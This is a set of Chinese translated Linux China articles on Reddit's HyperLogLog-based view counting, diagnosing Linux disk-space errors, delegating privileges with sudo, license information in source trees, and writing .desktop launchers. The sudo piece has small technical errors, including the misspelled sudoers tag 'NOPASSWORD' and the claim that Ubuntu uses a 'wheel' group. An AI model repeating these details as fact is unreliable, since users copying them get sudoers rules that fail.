Reddit 如何实现大规模的帖子浏览计数

Summary: 对浏览计数有四个主要要求，满足这四项要求比听起来要复杂得多。

对浏览计数有四个主要要求，满足这四项要求比听起来要复杂得多。

![](/data/attachment/album/201801/02/122933k3et5d5z5vk5aykz.png)

我们希望更好地将 Reddit 的规模传达给我们的用户。到目前为止，投票得分和评论数量是特定的帖子活动的主要指标。然而，Reddit 有许多访问者在没有投票或评论的情况下阅读内容。我们希望建立一个能够捕捉到帖子阅读数量的系统。然后将该数量展示给内容创建者和版主，以便他们更好地了解特定帖子上的活动。

![](/data/attachment/album/201801/02/122939amq76egw8m88lgz7.png)

在这篇文章中，我们将讨论我们如何大规模地实现计数。

### 计数方法

对浏览计数有四个主要要求：

* 计数必须是实时的或接近实时的。不是每天或每小时的总量。
* 每个用户在短时间内只能计数一次。
* 显示的数量与实际的误差在百分之几。
* 系统必须能够在生产环境运行，并在事件发生后几秒内处理事件。

满足这四项要求比听起来要复杂得多。为了实时保持准确的计数，我们需要知道某个特定的用户是否曾经访问过这个帖子。要知道这些信息，我们需要存储先前访问过每个帖子的用户组，然后在每次处理对该帖子的新访问时查看该组。这个解决方案的一个原始实现是将这个唯一用户的集合作为散列表存储在内存中，并且以帖子 ID 作为键名。

这种方法适用于浏览量较少的文章，但一旦文章流行，阅读人数迅速增加，这种方法很难扩展。有几个热门的帖子有超过一百万的唯一读者！对于这种帖子，对于内存和 CPU 来说影响都很大，因为要存储所有的 ID，并频繁地查找集合，看看是否有人已经访问过。

由于我们不能提供精确的计数，我们研究了几个不同的[基数估计](https://en.wikipedia.org/wiki/Count-distinct_problem)算法。我们考虑了两个非常符合我们期望的选择：

1. 线性概率计数方法，非常准确，但要计数的集合越大，则线性地需要更多的内存。
2. 基于 [HyperLogLog](http://algo.inria.fr/flajolet/Publications/FlFuGaMe07.pdf)（HLL）的计数方法。HLL 随集合大小<ruby> 次线性 <rt>  sub-linearly </rt></ruby>增长，但不能提供与线性计数器相同的准确度。

要了解 HLL 真正节省的空间大小，看一下这篇文章顶部包括的 r/pics 帖子。它有超过 100 万的唯一用户。如果我们存储 100 万个唯一用户 ID，并且每个用户 ID 是 8 个字节长，那么我们需要 8 兆内存来计算单个帖子的唯一用户数！相比之下，使用 HLL 进行计数会占用更少的内存。每个实现的内存量是不一样的，但是对于[这个实现](http://antirez.com/news/75)，我们可以使用仅仅 12 千字节的空间计算超过一百万个 ID，这将是原始空间使用量的 0.15％！

（[这篇关于高可伸缩性的文章](http://highscalability.com/blog/2012/4/5/big-data-counting-how-to-count-a-billion-distinct-objects-us.html)很好地概述了上述两种算法。）

许多 HLL 实现使用了上述两种方法的组合，即对于小集合以线性计数开始，并且一旦大小达到特定点就切换到 HLL。前者通常被称为 “稀疏” HLL 表达，而后者被称为“密集” HLL 表达。混合的方法是非常有利的，因为它可以提供准确的结果，同时保留适度的内存占用量。这个方法在 [Google 的 HyperLogLog++ 论文](https://stefanheule.com/papers/edbt13-hyperloglog.pdf)中有更详细的描述。

虽然 HLL 算法是相当标准的，但在我们的实现中我们考虑使用三种变体。请注意，对于内存中的 HLL 实现，我们只关注 Java 和 Scala 实现，因为我们主要在数据工程团队中使用 Java 和 Scala。

1. Twitter 的 Algebird 库，用 Scala 实现。Algebird 有很好的使用文档，但是稀疏和密集的 HLL 表达的实现细节不容易理解。
2. 在 stream-lib 中的 HyperLogLog++ 的实现，用 Java 实现。stream-lib 中的代码有很好的文档，但是要理解如何正确使用这个库并且调整它以满足我们的需求是有些困难的。
3. Redis 的 HLL 实现（我们选择的）。我们认为，Redis 的 HLL 实施方案有很好的文档并且易于配置，所提供的 HLL 相关的 API 易于集成。作为一个额外的好处，使用 Redis 通过将计数应用程序（HLL 计算）的 CPU 和内存密集型部分移出并将其移至专用服务器上，从而缓解了我们的许多性能问题。

![](/data/attachment/album/201801/02/122942w54rzduz25f7ufzf.png)

Reddit 的数据管道主要围绕 [Apache Kafka](https://kafka.apache.org/)。当用户查看帖子时，事件被激发并发送到事件收集器服务器，该服务器批量处理事件并将其保存到 Kafka 中。

从这里，浏览计数系统有两个按顺序运行的组件。我们的计数架构的第一部分是一个名为 [Nazar](https://en.wikipedia.org/wiki/Nazar_(amulet)) 的 Kafka 消费者，它将读取来自 Kafka 的每个事件，并通过我们编制的一组规则来确定是否应该计算一个事件。我们给它起了这个名字是因为 Nazar 是一个保护你免受邪恶的眼形护身符，Nazar 系统是一个“眼睛”，它可以保护我们免受不良因素的影响。Nazar 使用 Redis 保持状态，并跟踪不应计算浏览的潜在原因。我们可能无法统计事件的一个原因是，由于同一用户在短时间内重复浏览的结果。Nazar 接着将改变事件，添加一个布尔标志表明是否应该被计数，然后再发回 Kafka 事件。

这是这个项目要说的第二部分。我们有第二个叫做 [Abacus](https://en.wikipedia.org/wiki/Abacus) 的 Kafka 消费者，它实际上对浏览进行计数，并使计数在网站和客户端可见。Abacus 读取 Nazar 输出的 Kafka 事件。接着，根据 Nazar 的决定，它将计算或跳过本次浏览。如果事件被标记为计数，那么 Abacus 首先检查 Redis 中是否存在已经存在与事件对应的帖子的 HLL 计数器。如果计数器已经在 Redis 中，那么 Abacus 向 Redis 发出一个 [PFADD](https://redis.io/commands/pfadd) 的请求。如果计数器还没有在 Redis 中，那么 Abacus 向 Cassandra 集群发出请求，我们用这个集群来持久化 HLL 计数器和原始计数，并向 Redis 发出一个 [SET](https://redis.io/commands/set) 请求来添加过滤器。这种情况通常发生在人们查看已经被 Redis 删除的旧帖的时候。

为了保持对可能从 Redis 删除的旧帖子的维护，Abacus 定期将 Redis 的完整 HLL 过滤器以及每个帖子的计数记录到 Cassandra 集群中。 Cassandra 的写入以 10 秒一组分批写入，以避免超载。下面是一个高层的事件流程图。

![](/data/attachment/album/201801/02/122943kpu5wducinp7uauv.png)

### 总结

我们希望浏览量计数器能够更好地帮助内容创作者了解每篇文章的情况，并帮助版主快速确定哪些帖子在其社区拥有大量流量。未来，我们计划利用数据管道的实时潜力向更多的人提供更多有用的反馈。

如果你有兴趣解决这样的问题，[请查看我们的职位页面](https://about.reddit.com/careers/)。

---

via: <https://redditblog.com/2017/05/24/view-counting-at-reddit/>

作者：[Krishnan Chandra](https://redditblog.com/topic/technology/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


如何解决 Linux 中“磁盘空间不足”的问题

![](/data/attachment/album/201801/03/064323bm1b14cv9s4sm61l.jpg)

明明有很多剩余空间，但 Linux 系统依然提示没有空间剩余。为什么会这样呢？Linux 偶尔会有一些令人沮丧的模糊的错误消息出现，而这就是其中一种。不过这种错误通常都是由某几种因素导致的。

### 通过 du 和 df 检查磁盘空间

在开始行动前，最好先检查一下是否磁盘上是否确实还有空间剩余。虽然桌面环境的工具也很不错，但命令行上的工具更直接，要好的多。

![Linux Filesystem du](/data/attachment/album/201801/03/064331vo5gp46bgzfbjfy9.jpg "Linux Filesystem du")

首先让我们看看 `du` 命令。用它来检查问题磁盘所在的挂载点目录。本文假设出问题的分区挂载点为根目录。

```
sudo du -sh /

```

![Linux Filesystem df](/data/attachment/album/201801/03/064332cmgwxqwrd3uuirs4.jpg "Linux Filesystem df")

由于它要遍历磁盘中的所有文件，因此需要花费一点时间。现在再让我们试试 `df`。

```
sudo df -h

```

把根目录和在其中挂载的文件系统加在这条命令的后面。比如，若你的有一个独立的磁盘挂载到 `/home`，那么除了根目录之外，你也需要把它加进来。使用空间的总和应该跟你 `du` 命令得到的结果接近。否则的话，就说明可能有已删除文件的文件被进程占用。

当然，这里主要专注点在于这些命令的结果是否要小于磁盘的大小。如果确实小于磁盘大小，那么很明显有很多地方不对劲。

**相关**：[使用 Agedu 分析硬盘空间使用状况](https://www.maketecheasier.com/agedu-analyze-hard-disk-space-usage-in-linux/ "Use Agedu to Analyze Hard Disk Space Usage in Linux")

### 可能的原因

这里列出了一些产生这种情况的主要原因。若你发现 `du` 和 `df` 的结果之间有差别，那么可以直接检查第一项原因。否则从第二项原因开始检查。

#### 已删除文件被进程所占用

有时，文件可能已经被删掉了，但有进程依然在使用它。在进程运行期间，Linux 不会释放该文件的存储空间。你需要找出这个进程然后重启这个进程。

![Check processes for deleted files](/data/attachment/album/201801/03/064332vji6ttfids9qjvvz.jpg "Check processes for deleted files")

使用下面命令来定位进程。

```
sudo lsof / | grep deleted

```

这应该会列出出问题的进程了，然后重启该进程。

```
sudo systemctl restart service_name

```

#### i 节点不够了

![Linux check filesystem inodes](/data/attachment/album/201801/03/064332xceb9tj0f4bbqmqf.jpg "Linux check filesystem inodes")

文件系统中有一些称为 “<ruby> i 节点 <rt>  inode </rt></ruby>” 的元数据，其用来保存文件的相关信息。很多文件系统中的 i 节点数量是固定的，因此很可能 i 节点已经耗尽了而文件系统本身还没有用完。你可以使用 `df` 来检查。

```
sudo df -i /

```

比较一下已用的 i 节点和总共的 i 节点数量。如果没有可用的 i 节点了，那么很不幸，你也无法扩充 i 节点。删除一些无用的和过期的文件来释放一些 i 节点吧。

#### 坏块

最后一个很常见的问题就是坏的文件系统块。除非另有标记，否则操作系统很可能会认为这些块都是可用的，这会导致文件系统损坏或者硬盘坏死。最好是使用带 `-cc` 标志的 `fsck` 搜索并标记出这些块。记住，你不能使用正在使用的文件系统（LCTT 译注：即包含坏块的文件系统）中的 `fsck` 命令。你应该会要用到 live CD。

```
sudo fsck -vcck /dev/sda2

```

很明显，这里需要使用你想检查的磁盘路径取代命令中的磁盘位置。另外，要注意，这恐怕会花上很长一段时间。

**相关**：[使用 fsck 检查并修复你的文件系统 [Linux]](https://www.maketecheasier.com/check-repair-filesystem-fsck-linux/ "Check and Repair Your Filesystem With fsck [Linux]")

希望这些方案能解决你的问题。这种问题在任何情况下都不是那么容易诊断的。但是，在运气好的情况下，你可以把文件系统清理干净并让你的硬盘再次正常工作。

---

via: <https://www.maketecheasier.com/fix-linux-no-space-left-on-device-error/>

作者：[Nick Congleton](https://www.maketecheasier.com/author/nickcongleton/) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


Linux 下使用 sudo 进行赋权

>
> 学习怎么在保护 root 密码的安全性的同时，为可信用户赋予所管理的网络功能和特定服务的权限。
>
>
>

![](/data/attachment/album/201801/03/093439rdkdiqqiigcw2wtp.png)

我最近写了一个简短的 Bash 程序来将 MP3 文件从一台网络主机的 USB 盘中拷贝到另一台网络主机上去。拷贝出来的文件存放在一台志愿者组织所属服务器的特定目录下，在那里，这些文件可以被下载和播放。

我的程序还会做些其他事情，比如为了自动在网页上根据日期排序，在拷贝文件之前会先对这些文件重命名。在验证拷贝完成后，还会删掉 USB 盘中的所有文件。这个小程序还有一些其他选项，比如 `-h` 会显示帮助， `-t` 进入测试模式等等。

我的程序需要以 root 运行才能发挥作用。然而，这个组织中之后很少的人对管理音频和计算机系统有兴趣的，这使得我不得不找那些半吊子的人来，并培训他们登录到用于传输的计算机，运行这个小程序。

倒不是说我不能亲自运行这个程序，但由于外出和疾病等等各种原因， 我不是时常在场的。 即使我在场，作为一名 “懒惰的系统管理员”， 我也希望别人能替我把事情给做了。 因此我写了一些脚本来自动完成这些任务并通过 `sudo` 来指定某些人来运行这些脚本。 很多 Linux 命令都需要用户以 root 身份来运行。 `sudo` 能够保护系统免遭一时糊涂造成的意外损坏以及恶意用户的故意破坏。

### 尽可能的使用 sudo

`sudo` 是一个很方便的工具，它让我一个具有 root 权限的管理员可以分配所有或者部分管理性的任务给其他用户， 而且还无需告诉他们 root 密码， 从而保证主机的高安全性。

假设，我给了普通用户 `ruser` 访问我 Bash 程序 `myprog` 的权限， 而这个程序的部分功能需要 root 权限。 那么该用户可以以 `ruser` 的身份登录，然后通过以下命令运行 `myprog`。

```
sudo myprog

```

`sudo` 程序会检查 `/etc/sudoers` 文件，并确认 `ruser` 是否被许可运行 `myprog`。如被许可，`sudo` 会要求该用户输入其密码——而非 root 密码。在 `ruser` 输入他的密码之后，该程序就运行了。此外，`sudo` 也记录 `myprog` 该程序运行的日期和时间、完整的命令，以及谁在运行它。这个数据会记录在 `/var/log/security` 中。

我发现在培训时记录下每个用 `sudo` 执行的命令会很有帮助。我可以看到谁执行了哪些命令，他们是否输对了。

我委派了权限给自己和另一个人来运行那一个程序；然而，`sudo` 可以做更多的事情。 它允许系统管理员委派所管理的网络功能或特定的服务给某个受信的人或某组人。这可以让你在保护了 root 密码的安全性的同时，也赋予了那些功能。

### 配置 sudoers 文件

作为一名系统管理员，我使用 `/etc/sudoers` 文件来设置某些用户或某些用户组可以访问某个命令，或某组命令，或所有命令。 这种灵活性是使用 `sudo` 进行委派时能兼顾功能与简易性的关键。

我一开始对 `sudoers` 文件感到很困惑，因此下面我会拷贝并分解我所使用主机上的完整 `sudoers` 文件。 希望在分析的过程中不会让你感到困惑。 我意外地发现， 基于 Red Hat 的发行版中默认的配置文件都会很多注释以及例子来指导你如何做出修改，这使得修改配置文件变得简单了很多，也不需要在互联网上搜索那么多东西了。

不要直接用编辑器来修改 `sudoers` 文件，而应该用 `visudo` 命令，因为该命令会在你保存并退出编辑器后就立即生效这些变更。 `visudo` 也可以使用除了 Vi 之外的其他编辑器。

让我们首先来分析一下文件中的各种别名。

#### 主机别名

主机别名这一节用于创建主机分组，授予该组主机可以访问哪些命令或命令别名。 它的基本思想是，该文件由组织中的所有主机共同维护，然后拷贝到每台主机中的 `/etc` 中。 其中有些主机， 例如各种服务器， 可以配置成一个组来赋予用户访问特定命令的权限， 比如可以启停类似 HTTPD、DNS 以及网络服务；可以挂载文件系统等等。

在设置主机别名时也可以用 IP 地址替代主机名。

```
## Host Aliases
## Groups of machines. You may prefer to use hostnames (perhaps using
## wildcards for entire domains) or IP addresses instead.
# Host_Alias     FILESERVERS = fs1, fs2
# Host_Alias     MAILSERVERS = smtp, smtp2

```

#### 用户别名

用户别名允许 root 将用户整理成别名组中，并按组来分配特定的 root 权限。在这部分内容中我加了一行 `User_Alias AUDIO = dboth, ruser`，定义了一个别名 `AUDIO` 用来指代了两个用户。

正如 `sudoers` 文件中所阐明的，也可以直接使用 `/etc/groups` 中定义的组而不用自己设置别名。 如果你定义好的组（假设组名为 `audio`）已经能满足要求了， 那么在后面分配命令时只需要在组名前加上 `%` 号，像这样: `%audio`。

```
## User Aliases
## These aren't often necessary, as you can use regular groups
## (ie, from files, LDAP, NIS, etc) in this file - just use %groupname
## rather than USERALIAS
# User_Alias ADMINS = jsmith, mikem
User_Alias AUDIO = dboth, ruser

```

#### 命令别名

再后面是命令别名的部分。这些别名表示的是一系列相关的命令， 比如网络相关命令，或者 RPM 包管理命令。 这些别名允许系统管理员方便地为一组命令分配权限。

该部分内容已经设置好了许多别名，这使得分配权限给某类命令变得方便很多。

```
## Command Aliases
## These are groups of related commands...

## Networking
# Cmnd_Alias NETWORKING = /sbin/route, /sbin/ifconfig, /bin/ping, /sbin/dhclient, /usr/bin/net, /sbin/iptables, /usr/bin/rfcomm, /usr/bin/wvdial, /sbin/iwconfig, /sbin/mii-tool

## Installation and management of software
# Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum

## Services
# Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig

## Updating the locate database
# Cmnd_Alias LOCATE = /usr/bin/updatedb

## Storage
# Cmnd_Alias STORAGE = /sbin/fdisk, /sbin/sfdisk, /sbin/parted, /sbin/partprobe, /bin/mount, /bin/umount

## Delegating permissions
# Cmnd_Alias DELEGATING = /usr/sbin/visudo, /bin/chown, /bin/chmod, /bin/chgrp

## Processes
# Cmnd_Alias PROCESSES = /bin/nice, /bin/kill, /usr/bin/kill, /usr/bin/killall

## Drivers
# Cmnd_Alias DRIVERS = /sbin/modprobe

```

#### 环境默认值

下面部分内容设置默认的环境变量。这部分最值得关注的是 `!visiblepw` 这一行， 它表示当用户环境设置成显示密码时禁止 `sudo` 的运行。 这个安全措施不应该被修改掉。

```

# Defaults specification

#
# Refuse to run if unable to disable echo on the tty.
#
Defaults   !visiblepw

Defaults    env_reset
Defaults    env_keep =  "COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS"
Defaults    env_keep += "MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE"
Defaults    env_keep += "LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES"
Defaults    env_keep += "LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE"
Defaults    env_keep += "LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY"

Defaults    secure_path = /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin

```

#### 命令部分

命令部分是 `sudoers` 文件的主体。不使用别名并不会影响你完成要实现的效果，别名只是让整个配置工作大幅简化而已。

这部分使用之前定义的别名来告诉 `sudo` 哪些人可以在哪些机器上执行哪些操作。一旦你理解了这部分内容的语法，你会发现这些例子都非常的直观。 下面我们来看看它的语法。

```
ruser           ALL=(ALL) ALL

```

*意即 `ruser` 可以在任意主机上以任意用户身份运行任意命令*

这是一条为用户 `ruser` 做出的配置。行中第一个 `ALL` 表示该条规则在所有主机上生效。 第二个 `ALL` 允许 `ruser` 以任意其他用户的身份运行命令。 默认情况下， 命令以 `root` 用户的身份运行， 但 `ruser` 可以在 `sudo` 命令行指定程序以其他用户的身份运行。 最后这个 `ALL` 表示 `ruser` 可以运行所有命令而不受限制。 这让 `ruser` 实际上就变成了 `root`。

注意到下面还有一条针对 `root` 的配置。这允许 `root` 能通过 `sudo` 在任何主机上运行任何命令。

```
root    ALL=(ALL) ALL

```

*意即 `root` 可以在任意主机上以任意用户身份运行任意命令*

为了实验一下效果，我注释掉了这行， 然后以 root 的身份试着直接运行 `chown`。 出乎意料的是这样是能成功的。 然后我试了下 `sudo chown`，结果失败了，提示信息 “Root is not in the sudoers file。 This incident will be reported”。 也就是说 root 可以直接运行任何命令， 但当加上 `sudo` 时则不行。 这会阻止 root 像其他用户一样使用 `sudo` 命令来运行其他命令， 但是 root 有太多种方法可以绕过这个约束了。

下面这行是我新增来控制访问 `myprog` 的。它指定了只有上面定义的 `AUDIO` 组中的用户才能在 `guest1` 这台主机上使用 `myprog` 这个命令。

```
AUDIO   guest1=/usr/local/bin/myprog

```

*允许 AUDIO 组成员在 guest1 主机上访问 myprog*

注意，上面这一行只指定了允许访问的主机名和程序，而没有说用户可以以其他用户的身份来运行该程序。

#### 省略密码

你也可以通过 `NOPASSWORD` 来让 `AUDIO` 组中的用户无需密码就能运行 `myprog`。像这样：

```
AUDIO   guest1=NOPASSWORD : /usr/local/bin/myprog

```

*允许 AUDIO 组成员在 guest1 主机上不用输入密码即可访问 myprog*

我并没有这样做，因为我觉得使用 `sudo` 的用户必须要停下来想清楚他们正在做的事情，这对他们有好处。 我这里只是举个例子。

#### wheel

`sudoers` 文件中命令部分的 `wheel` 说明（如下所示）允许所有在 `wheel` 组中的用户在任何机器上运行任何命令。`wheel` 组在 `/etc/group` 文件中定义， 用户必须加入该组后才能工作。 组名前面的 `%` 符号表示 `sudo` 应该去 `/etc/group` 文件中查找该组。

```
%wheel          ALL = (ALL) ALL

```

*运行所有定义在 /etc/group 文件中的 “wheel” 组成员可以在任意主机上运行全部命令*

这种方法很好的实现了为多个用户赋予完全的 root 权限而不用提供 root 密码。只需要把该用户加入 `wheel` 组中就能给他们提供完整的 root 的能力。 它也提供了一种通过 `sudo` 创建的日志来监控他们行为的途径。 有些 Linux 发行版， 比如 Ubuntu， 会自动将用户的 ID 加入 `/etc/group` 中的 `wheel` 组中， 这使得他们能够用 `sudo` 命令运行所有的特权命令。

### 结语

我这里只是小试了一把 `sudo` — 我只是给一到两个用户以 root 权限运行单个命令的权限。完成这些只添加了两行配置（不考虑注释）。 将某项任务的权限委派给其他非 root 用户非常简单，而且可以节省你大量的时间。 同时它还会产生日志来帮你发现问题。

`sudoers` 文件还有许多其他的配置和能力。查看 `sudo` 和 `sudoers` 的 man 手册可以深入了解详细信息。

---

via: <https://opensource.com/article/17/12/using-sudo-delegate>

作者：[David Both](https://opensource.com/users/dboth) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


源代码即是许可证

>
> 提要：对于开源软件来说，其许可证信息内嵌在源代码中。为了降低复杂性，您可以生成不同的视图。
>
>
>

![](/data/attachment/album/201801/03/144740dsblrzzbzkcaactl.png)

您可以通过查看源代码找到开源软件的许可证信息。为了满足不同的需求，可以生成关于该许可证信息的不同视图或报告。

尽管直接在源代码中提供许可证信息并不是开源软件的必要条件，但是这样做的实际好处显而易见。由于开源许可证促进了软件的传播，与代码一起传输的许可证信息简化了管理过程，即使代码接收人通过间接方式获得代码，也可以使他随时可以获得权限声明。

### 什么是许可证条款？

在源码树中嵌入许可证信息的价值被低估了。让我们暂停一下，反思一下这种常见做法是多么有用。

什么是许可证条款呢？ 对于许多开源软件来说，有一个简单的答案：一个许可证文本包含整个软件的所有许可证信息。但是开源的力量在于，它推动了其他开发者在这个起点之上进行构建，而这个过程会使许可证信息复杂化。

开源软件可以被扩展、再利用，或者与其他软件结合使用。与机械设备不同，不同群体之间的合作更具挑战性，复杂软件从许多人的工作中受益是切实可行的。开源许可证提供了促进这种开发动态的权限。具有复杂历史的软件也可能具有复杂的许可证信息。

考虑下面的例子：有人写了一个新的程序，在每个源文件中包含一个版权声明，声明该软件根据 Apache 2.0 版许可证进行许可，并且在源码树的根目录中包含 Apache 许可证文本。之后，添加了一个具有不同的版权声明的文件，以及一个 BSD 2 句版许可证副本的文件。然后，添加了一个新的子目录，其中文件具有 Apache 许可证声明，但具有标识不同版权所有者的版权声明。再之后，一个 MIT 许可证的副本添加到了新的子目录中，该子目录包含了版权声明与 MIT 许可证文件中相同的文件，但没有任何其他许可证指示信息。

这个例子表明，嵌入在源码树中的许可证信息可能很复杂而且很详细。根目录和/或各个子目录中都可能有许可证文本。一些源文件可能有许可证通知；其他源文件可能不会有。也许会有版权声明来识别各种版权所有者。但是，在不丢失信息的前提下将法律文本从代码中分离出来似乎是不可能的。因此，源代码即是许可证。

从源码树的角度来看，上面例子中对许可证信息的解释是非常简单的。但是，要在简单、明确的独立声明中获取许可证信息将是一件困难的事情。截取了源代码中所有许可证信息的许可证声明会比源代码更短，但这将是不方便的——谁会希望得到如此高度详细的单独声明？大多数用户可能会更喜欢一个概要，虽然不完整，但其获取的关键点符合自己的特定意图和敏感性要求。

### 用视图来概括许可证信息

对于“许可证条款是什么”这个问题，用整个源码树副本来回答可能没什么用，因为它过于庞杂和分散。大多数人只想要一个概要。但这面临一个挑战：当许可证信息比较复杂时，人们需要不同的概要，因为他们对于什么是重要的有不同的定义。

对于某些人来说，对以下问题回答“是”可能是足够的：该软件 1）是否根据一个或多个开源许可证获得许可，2）其被组装和许可后是否使得其分发和使用与所有这些许可证一致？ 其他人可能需要所有许可证的列表，或者他们可能想要查看哪个软件组件对应于哪个许可证。还有一些人可能想要一个逐个组件的列表来标识任何<ruby> 左版 <rp>  （ </rp> <rt>  copyleft </rt> <rp>  ） </rp></ruby>许可证（也许自己要做深入的左版合规研究）。 有些人可能有兴趣看到所有版权声明和软件组件的相关列表。

单一的概要可能不会满足所有人的利益。简单地将概要具体化可能会减少它对一些人的效用，而对其他人则显得不足。因此，需要将源代码中包含的许可证信息展现为不同的<ruby> “视图” <rp>  （ </rp> <rt>  views </rt> <rp>  ） </rp></ruby>。这里使用的“视图”术语可以视为与在数据库中使用它相似。或者，您也可以将“视图”看作是<ruby> “报告” <rp>  （ </rp> <rt>  reports </rt> <rp>  ） </rp></ruby>。

考虑将源代码作为许可证有一个优势，并且可以从中提取多个不同的视图。

您可能会尝试创建一个“全能”概要，从中可以创建其他较短的概要。但是以中间状态表达许可证信息至少有三个缺点：

1. 时机：主概要的维护人员可能无法按计划进行更新。
2. 版本：主概要可能基于与您使用的软件不同的版本。
3. 质量：您的视图继承了主概要的错误和评判性。

因此，根据需要直接从您使用的源码树版本生成您的首选视图是有价值的。

有工具可以生成视图。按需视图的生成取决于工具。许可证信息展示的清晰（或混乱）程度会促进（或妨碍）该工具的功效。我们不需要许可证信息的特定机器编码，但是我们应该充分利用众多经验来源，以既可以被人读取，也可以被机器提取的方式来表达信息。

Jeff Kaufman 在他的文章《[开源软件许可证合规的经济高效模型](/article-8849-1.html)》中指出：由于源代码包含许可证信息，因此分发源代码是满足某些许可证要求的有效方式。

将所有许可证信息嵌入到源码树中是最佳实践。如果您发现源码树中没有显示许可证信息，请考虑通过提交错误报告来改进该项目，建议将该信息添加到源码树中。

源代码即是许可证。从完整的记录中，可以生成许可证信息的视图。工具可以将许可证信息提取到各种报告中，以满足特定需求或敏感性要求。

为了获得这个愿景的全部好处，我们还有工作要做。您对工具状态以及许可证信息展现有什么看法呢？

---

作者简介：Scott Peterson 是红帽公司法律团队成员。很久以前，一位工程师就一个叫做 GPL 的奇怪文件向 Scott 征询法律建议，这个致命的问题让 Scott 走上了探索包括技术标准和开源软件在内的协同开发法律问题的纠结之路。

译者简介：薛亮，集慧智佳知识产权咨询公司高级咨询师，擅长专利检索、专利分析、竞争对手跟踪、FTO分析、开源软件知识产权风险分析，致力于为互联网企业、高科技公司提供知识产权咨询服务。

![](/data/attachment/album/201801/03/144704vwly7fd8xp1hf68k.jpg)


为你的 Linux 应用创建 .desktop 文件

Summary: 在 Linux 中，一个 .desktop 文件就是一个用来运行程序的快捷方式。没有 .desktop 的话，你的应用就不会在应用菜单中显示了，也无法使用像 Synapse 和 Albert 这样的第三方启动起启动了。

分享

學到了！

![](/data/attachment/album/201801/03/153912ci5u5i0gisbgrkkr.jpg)

在 Linux 中，一个 `.desktop` 文件就是一个用来运行程序的快捷方式。没有 `.desktop` 的话，你的应用就不会在应用菜单中显示了，也无法使用像 Synapse 和 Albert 这样的第三方启动起启动了。

大多数应用在安装后都会自动创建 `.desktop` 文件，并将自己放入应用菜单中以方便访问。然而，如果是你自己从源代码中编译的程序或者自己下载的压缩格式的应用，那就不会做这些事情了，每次你都需要打开终端来执行它的二进制文件。显然这个过程很无聊也很麻烦。

本文将会告诉你如何为应用创建 `.desktop` 文件，从而让你能在应用菜单中启动该应用。

**相关阅读**：[How to Add App Drawers to Unity Launcher in Ubuntu](https://www.maketecheasier.com/add-app-drawer-unity-launcher-ubuntu/ "How to Add App Drawers to Unity Launcher in Ubuntu")

### 如何创建桌面启动器

`.desktop` 文件基本上就是一个包含程序信息的纯文本文件，通常根据是自己可见还是所有用户可见的不同而放在 `~/.local/share/applications` 或者 `/usr/share/applications/` 目录中。你在文件管理器中访问这两个目录，都会看到很多系统中已安装应用对应的 `.desktop` 文件存在。

为了演示，我将会为 Super Tux Kart 创建一个 `.desktop` 文件，这是一个我很喜欢玩的卡丁车竞赛游戏。Ubuntu 仓库中带了这个游戏，但版本一般不新。

要获得最新的版本就需要下载 tar 包，解压并执行其中的游戏启动文件。

你可以仿照这个步骤来为任何程序创建启动器。

**注意**：下面步骤假设程序压缩包放在 “Downloads” 目录下。

1、跳转到存放压缩包的目录，右击然后选择 “Extract here”。

![application-launcher-5](/data/attachment/album/201801/03/153912p0nch8znz16x0h7v.png "application-launcher-5")

2、解压后，进入新创建的目录然后找到可执行的文件。之后右击文件选择 “Run” 来启动程序，确定程序运行正常。

![application-launcher-6](/data/attachment/album/201801/03/153912zypi7075b57fy07f.png "application-launcher-6")

3、有时候，你在右键菜单中找不到 “Run” 选项。这通常是因为这个可执行文件是一个文本文件。你可以在终端中执行它，如果你使用 GNOME 的话，可以点击上面菜单栏中的 Files 菜单，然后选择 “Preferences”。

![application-launcher-linux-1](/data/attachment/album/201801/03/153913j9zf5z9cef6495p6.png "application-launcher-linux-1")

4、选择 “Behavior” 标签页然后选择 “Executable Text Files” 下的 “Run them”。现在右击可执行文本文件后也能出现 “Run” 选项了。

![application-launcher-31](/data/attachment/album/201801/03/153913pnz3zhi2wgn5w0gg.png "application-launcher-31")

5、确认应用运行正常后，就可以退出它了。然后运行你的文本编辑器并将下面内容粘贴到空文本文件中：

```
[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=/path/to/executable
Name=Name of Application
Icon=/path/to/icon

```

你需要更改 “Exec” 域的值为可执行文件的路径，并且将 “Name” 域的值改成应用的名称。大多数的程序都在压缩包中提供了一个图标，不要忘记把它也填上哦。在我们这个例子中，Super Tux Kart 的启动文件看起来是这样的：

![application-launcher-supertuxkart](/data/attachment/album/201801/03/153913l7xppz2z9dgr81zz.png "application-launcher-supertuxkart")

6、将文件以 `application-name.desktop` 为名保存到 `~/.local/share/applications` 目录中。`.local` 目录位于你的家目录下，是一个隐藏目录，你需要启用 “Show Hidden Files” 模式才能看到它。如果你希望这个应用所有人都能访问，则在终端中运行下面命令：

```
sudo mv ~/.local/share/applications/<application-name`.desktop`> /usr/share/applications/

```

当然，别忘了把命令中的 `<application-name.desktop>` 改成真实的 `.desktop` 文件名。

7、完成后，打开应用菜单，就能看到应用出现在其中，可以使用了。

![application-launcher-2](/data/attachment/album/201801/03/153914euasg9q06j6qqa0w.jpg "application-launcher-2")

这个方法应该适用于所有主流的 Linux 操作系统。下面是另一张 Super Tux Kart 在 elementary OS 的应用启动器 (slingshot) 上的截图

![application-launcher-4](/data/attachment/album/201801/03/153914xrfdtb38s8sy3sc1.jpg "application-launcher-4")

如果你觉得本教程还有点用的话，欢迎留言。

---

via: <https://www.maketecheasier.com/create-desktop-file-linux/>

